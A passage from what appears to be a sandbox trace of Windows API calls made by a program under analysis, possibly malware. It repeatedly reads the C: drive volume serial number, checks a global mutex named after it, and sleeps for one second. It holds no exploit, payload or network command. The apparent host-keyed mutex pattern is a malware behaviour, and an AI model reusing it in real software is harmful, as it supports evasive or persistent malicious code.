hHeap=0x550000, dwFlags=0x0, lpMem=0x56a4c0 | out: hHeap=0x550000) returned 1 [0207.998] GetProcessHeap () returned 0x550000 [0207.998] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0207.998] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0207.998] GetProcessHeap () returned 0x550000 [0207.998] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0207.998] GetProcessHeap () returned 0x550000 [0207.998] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5642c8 [0207.999] GetProcessHeap () returned 0x550000 [0207.999] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x564280 [0207.999] GetProcessHeap () returned 0x550000 [0207.999] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564280, Size=0x72) returned 0x55fb90 [0207.999] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x190 [0207.999] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x0) returned 0x102 [0207.999] CloseHandle (hObject=0x190) returned 1 [0207.999] GetProcessHeap () returned 0x550000 [0207.999] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5642c8 | out: hHeap=0x550000) returned 1 [0207.999] GetProcessHeap () returned 0x550000 [0207.999] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0207.999] Sleep (dwMilliseconds=0x3e8) [0209.142] GetProcessHeap () returned 0x550000 [0209.142] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a510 [0209.142] GetProcessHeap () returned 0x550000 [0209.142] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a290 [0209.142] GetProcessHeap () returned 0x550000 [0209.142] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a4c0 [0209.143] GetProcessHeap () returned 0x550000 [0209.143] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0209.143] GetProcessHeap () returned 0x550000 [0209.143] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0209.143] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a290, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0209.143] GetProcessHeap () returned 0x550000 [0209.143] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a4c0 | out: hHeap=0x550000) returned 1 [0209.143] GetProcessHeap () returned 0x550000 [0209.143] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0209.143] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0209.143] GetProcessHeap () returned 0x550000 [0209.143] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0209.143] GetProcessHeap () returned 0x550000 [0209.143] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5642c8 [0209.143] GetProcessHeap () returned 0x550000 [0209.143] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x564280 [0209.143] GetProcessHeap () returned 0x550000 [0209.143] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564280, Size=0x72) returned 0x55fb90 [0209.144] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1c0 [0209.144] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x0) returned 0x102 [0209.144] CloseHandle (hObject=0x1c0) returned 1 [0209.144] GetProcessHeap () returned 0x550000 [0209.144] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5642c8 | out: hHeap=0x550000) returned 1 [0209.144] GetProcessHeap () returned 0x550000 [0209.144] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0209.144] Sleep (dwMilliseconds=0x3e8) [0210.205] GetProcessHeap () returned 0x550000 [0210.205] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a268 [0210.205] GetProcessHeap () returned 0x550000 [0210.205] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a290 [0210.205] GetProcessHeap () returned 0x550000 [0210.205] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a510 [0210.205] GetProcessHeap () returned 0x550000 [0210.205] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56c308 [0210.205] GetProcessHeap () returned 0x550000 [0210.205] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56c308 | out: hHeap=0x550000) returned 1 [0210.205] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a290, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0210.205] GetProcessHeap () returned 0x550000 [0210.206] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0210.206] GetProcessHeap () returned 0x550000 [0210.206] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0210.206] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0210.206] GetProcessHeap () returned 0x550000 [0210.206] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0210.206] GetProcessHeap () returned 0x550000 [0210.206] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5642c8 [0210.206] GetProcessHeap () returned 0x550000 [0210.206] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x564280 [0210.206] GetProcessHeap () returned 0x550000 [0210.206] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564280, Size=0x72) returned 0x55fb90 [0210.206] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1b4 [0210.206] WaitForSingleObject (hHandle=0x1b4, dwMilliseconds=0x0) returned 0x102 [0210.206] CloseHandle (hObject=0x1b4) returned 1 [0210.207] GetProcessHeap () returned 0x550000 [0210.207] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5642c8 | out: hHeap=0x550000) returned 1 [0210.207] GetProcessHeap () returned 0x550000 [0210.207] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0210.207] Sleep (dwMilliseconds=0x3e8) [0211.217] GetProcessHeap () returned 0x550000 [0211.218] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a290 [0211.218] GetProcessHeap () returned 0x550000 [0211.218] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a268 [0211.218] GetProcessHeap () returned 0x550000 [0211.218] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a510 [0211.218] GetProcessHeap () returned 0x550000 [0211.218] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0211.218] GetProcessHeap () returned 0x550000 [0211.218] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0211.218] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a268, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0211.218] GetProcessHeap () returned 0x550000 [0211.218] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0211.218] GetProcessHeap () returned 0x550000 [0211.218] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0211.218] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0211.218] GetProcessHeap () returned 0x550000 [0211.218] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0211.218] GetProcessHeap () returned 0x550000 [0211.218] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5642c8 [0211.218] GetProcessHeap () returned 0x550000 [0211.219] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x564280 [0211.219] GetProcessHeap () returned 0x550000 [0211.219] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564280, Size=0x72) returned 0x55fb90 [0211.219] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x168 [0211.219] WaitForSingleObject (hHandle=0x168, dwMilliseconds=0x0) returned 0x102 [0211.219] CloseHandle (hObject=0x168) returned 1 [0211.219] GetProcessHeap () returned 0x550000 [0211.219] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5642c8 | out: hHeap=0x550000) returned 1 [0211.219] GetProcessHeap () returned 0x550000 [0211.219] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0211.219] Sleep (dwMilliseconds=0x3e8) [0212.231] GetProcessHeap () returned 0x550000 [0212.231] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a268 [0212.231] GetProcessHeap () returned 0x550000 [0212.231] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a290 [0212.231] GetProcessHeap () returned 0x550000 [0212.232] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a510 [0212.232] GetProcessHeap () returned 0x550000 [0212.232] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0212.232] GetProcessHeap () returned 0x550000 [0212.232] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0212.232] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a290, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0212.232] GetProcessHeap () returned 0x550000 [0212.232] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0212.232] GetProcessHeap () returned 0x550000 [0212.232] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0212.232] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0212.232] GetProcessHeap () returned 0x550000 [0212.232] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0212.232] GetProcessHeap () returned 0x550000 [0212.232] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5642c8 [0212.232] GetProcessHeap () returned 0x550000 [0212.232] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x564280 [0212.232] GetProcessHeap () returned 0x550000 [0212.232] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564280, Size=0x72) returned 0x55fb90 [0212.232] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1a8 [0212.232] WaitForSingleObject (hHandle=0x1a8, dwMilliseconds=0x0) returned 0x102 [0212.232] CloseHandle (hObject=0x1a8) returned 1 [0212.233] GetProcessHeap () returned 0x550000 [0212.233] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5642c8 | out: hHeap=0x550000) returned 1 [0212.233] GetProcessHeap () returned 0x550000 [0212.233] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0212.233] Sleep (dwMilliseconds=0x3e8) [0213.948] GetProcessHeap () returned 0x550000 [0213.948] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a290 [0213.948] GetProcessHeap () returned 0x550000 [0213.948] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a268 [0213.948] GetProcessHeap () returned 0x550000 [0213.948] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a510 [0213.948] GetProcessHeap () returned 0x550000 [0213.948] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0213.948] GetProcessHeap () returned 0x550000 [0213.948] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0213.948] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a268, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0213.948] GetProcessHeap () returned 0x550000 [0213.948] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0213.948] GetProcessHeap () returned 0x550000 [0213.948] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0213.948] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0213.948] GetProcessHeap () returned 0x550000 [0213.948] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0213.948] GetProcessHeap () returned 0x550000 [0213.948] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5642c8 [0213.948] GetProcessHeap () returned 0x550000 [0213.949] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x564280 [0213.949] GetProcessHeap () returned 0x550000 [0213.949] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564280, Size=0x72) returned 0x55fb90 [0213.949] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1a8 [0213.949] WaitForSingleObject (hHandle=0x1a8, dwMilliseconds=0x0) returned 0x102 [0213.949] CloseHandle (hObject=0x1a8) returned 1 [0213.949] GetProcessHeap () returned 0x550000 [0213.949] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5642c8 | out: hHeap=0x550000) returned 1 [0213.949] GetProcessHeap () returned 0x550000 [0213.949] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0213.949] Sleep (dwMilliseconds=0x3e8) [0214.962] GetProcessHeap () returned 0x550000 [0214.962] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a268 [0214.962] GetProcessHeap () returned 0x550000 [0214.962] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a290 [0214.962] GetProcessHeap () returned 0x550000 [0214.962] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a510 [0214.962] GetProcessHeap () returned 0x550000 [0214.962] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0214.962] GetProcessHeap () returned 0x550000 [0214.962] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0214.962] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a290, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0214.962] GetProcessHeap () returned 0x550000 [0214.962] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0214.962] GetProcessHeap () returned 0x550000 [0214.962] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0214.962] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0214.963] GetProcessHeap () returned 0x550000 [0214.963] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0214.963] GetProcessHeap () returned 0x550000 [0214.963] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5642c8 [0214.963] GetProcessHeap () returned 0x550000 [0214.963] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x564280 [0214.963] GetProcessHeap () returned 0x550000 [0214.963] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564280, Size=0x72) returned 0x55fb90 [0214.963] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x168 [0214.963] WaitForSingleObject (hHandle=0x168, dwMilliseconds=0x0) returned 0x102 [0214.963] CloseHandle (hObject=0x168) returned 1 [0214.963] GetProcessHeap () returned 0x550000 [0214.963] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5642c8 | out: hHeap=0x550000) returned 1 [0214.963] GetProcessHeap () returned 0x550000 [0214.963] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0214.963] Sleep (dwMilliseconds=0x3e8) [0215.976] GetProcessHeap () returned 0x550000 [0215.976] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a290 [0215.976] GetProcessHeap () returned 0x550000 [0215.976] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a268 [0215.976] GetProcessHeap () returned 0x550000 [0215.976] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a510 [0215.976] GetProcessHeap () returned 0x550000 [0215.976] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0215.976] GetProcessHeap () returned 0x550000 [0215.976] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0215.976] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a268, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0215.976] GetProcessHeap () returned 0x550000 [0215.976] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0215.976] GetProcessHeap () returned 0x550000 [0215.976] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0215.976] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0215.976] GetProcessHeap () returned 0x550000 [0215.976] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0215.976] GetProcessHeap () returned 0x550000 [0215.976] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5642c8 [0215.976] GetProcessHeap () returned 0x550000 [0215.977] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x564280 [0215.977] GetProcessHeap () returned 0x550000 [0215.977] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564280, Size=0x72) returned 0x55fb90 [0215.977] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x168 [0215.977] WaitForSingleObject (hHandle=0x168, dwMilliseconds=0x0) returned 0x102 [0215.977] CloseHandle (hObject=0x168) returned 1 [0215.977] GetProcessHeap () returned 0x550000 [0215.977] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5642c8 | out: hHeap=0x550000) returned 1 [0215.977] GetProcessHeap () returned 0x550000 [0215.977] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0215.977] Sleep (dwMilliseconds=0x3e8) [0217.036] GetProcessHeap () returned 0x550000 [0217.036] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a268 [0217.037] GetProcessHeap () returned 0x550000 [0217.037] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a290 [0217.037] GetProcessHeap () returned 0x550000 [0217.037] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a510 [0217.037] GetProcessHeap () returned 0x550000 [0217.037] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0217.037] GetProcessHeap () returned 0x550000 [0217.037] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0217.037] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a290, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0217.037] GetProcessHeap () returned 0x550000 [0217.037] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0217.037] GetProcessHeap () returned 0x550000 [0217.037] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0217.037] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0217.037] GetProcessHeap () returned 0x550000 [0217.037] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0217.037] GetProcessHeap () returned 0x550000 [0217.037] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5642c8 [0217.037] GetProcessHeap () returned 0x550000 [0217.037] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x564280 [0217.037] GetProcessHeap () returned 0x550000 [0217.037] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564280, Size=0x72) returned 0x55fb90 [0217.037] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x168 [0217.038] WaitForSingleObject (hHandle=0x168, dwMilliseconds=0x0) returned 0x102 [0217.038] CloseHandle (hObject=0x168) returned 1 [0217.038] GetProcessHeap () returned 0x550000 [0217.038] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5642c8 | out: hHeap=0x550000) returned 1 [0217.038] GetProcessHeap () returned 0x550000 [0217.038] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55fb90 | out: hHeap=0x550000) returned 1 [0217.038] Sleep (dwMilliseconds=0x3e8) [0218.392] GetProcessHeap () returned 0x550000 [0218.392] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a290 [0218.392] GetProcessHeap () returned 0x550000 [0218.392] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a268 [0218.392] GetProcessHeap () returned 0x550000 [0218.392] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a510 [0218.392] GetProcessHeap () returned 0x550000 [0218.392] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570fb8 [0218.392] GetProcessHeap () returned 0x550000 [0218.392] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570fb8 | out: hHeap=0x550000) returned 1 [0218.392] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a268, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0218.392] GetProcessHeap () returned 0x550000 [0218.392] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a510 | out: hHeap=0x550000) returned 1 [0218.392] GetProcessHeap () returned 0x550000 [0218.392] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a290 | out: hHeap=0x550000) returned 1 [0218.392] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x255f7cc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x255f7cc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0218.392] GetProcessHeap () returned 0x550000 [0218.392] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a268 | out: hHeap=0x550000) returned 1 [0218.392] GetProcessHeap () returned 0x550000 [0218.392] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5642c8 [0218.392] GetProcessHeap () returned 0x550000 [0218.392] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x564280 [0218.392] GetProcessHeap () returned 0x550000 [0218.392] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x564280, Size=0x72) returned 0x55fb90 [0218.392] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x1ac [0218.393] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x0) returned 0x102 [0218.393] CloseHandle (hObject=0x1ac) returned 1 [0218.393] GetProcessHeap () returned 0x550000 [0218.393] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5642c8 | out: hHeap=0x550000) returned 1 [0218.393] GetProcessHeap () returned 0x550000 [0218.393] HeapFree (in: 